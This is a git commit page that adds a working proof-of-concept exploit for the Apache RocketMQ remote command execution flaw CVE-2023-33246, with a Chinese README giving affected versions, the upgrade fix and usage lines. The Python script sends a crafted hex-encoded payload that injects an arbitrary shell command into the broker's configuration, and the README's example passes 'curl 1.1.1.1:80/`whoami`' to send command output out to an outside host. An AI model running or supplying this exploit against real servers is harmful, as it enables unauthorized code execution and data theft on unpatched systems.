add rocketMQ RCE CVE-2023-33246
This commit is contained in:
parent
e089eb8521
commit
ba539cd6ab
@ -0,0 +1,30 @@
|
|||||||
|
# CVE-2023-33246
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
|
||||||
|
if len(sys.argv) < 4:
|
||||||
|
print('Usage: python3 poc.py <ip> <port> <command>')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
def send_data(ip, port, payload):
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
s.connect((ip, port))
|
||||||
|
s.sendall(payload)
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
|
||||||
|
if '__main__' == __name__:
|
||||||
|
ip = sys.argv[1]
|
||||||
|
port = int(sys.argv[2])
|
||||||
|
command = ' '.join(sys.argv[3:]).strip()
|
||||||
|
hex_payload_prefix = '000000cd000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f20'
|
||||||
|
hex_payload_suffix = '3b0a'
|
||||||
|
payload = bytes.fromhex(hex_payload_prefix) + command.encode() + bytes.fromhex(hex_payload_suffix)
|
||||||
|
hex_payload_length = hex(len(payload) - 4)[2:]
|
||||||
|
payload = payload.hex().replace('000000cd000000', '000000' + hex_payload_length + '000000')
|
||||||
|
payload = bytes.fromhex(payload)
|
||||||
|
|
||||||
|
send_data(ip, port, payload)
|
||||||
@ -0,0 +1,19 @@
|
|||||||
|
|
||||||
|
## 影响版本
|
||||||
|
Apache RocketMQ through 5.1.0
|
||||||
|
|
||||||
|
## 修复方案
|
||||||
|
upgrade to version 5.1.1 above for using RocketMQ 5.x
|
||||||
|
4.9.6 above for using RocketMQ 4.x
|
||||||
|
|
||||||
|
## check
|
||||||
|
```python
|
||||||
|
python check.py --ip 127.0.0.1
|
||||||
|
```
|
||||||
|
|
||||||
|
## exp
|
||||||
|
```python
|
||||||
|
python CVE-2023-33246_exp.py 127.0.0.1 9876 curl 1.1.1.1:80/`whoami`
|
||||||
|
```
|
||||||
|
|
||||||
|
利用带外显示结果
|
||||||
File diff suppressed because one or more lines are too long
Loading…
x
Reference in New Issue
Block a user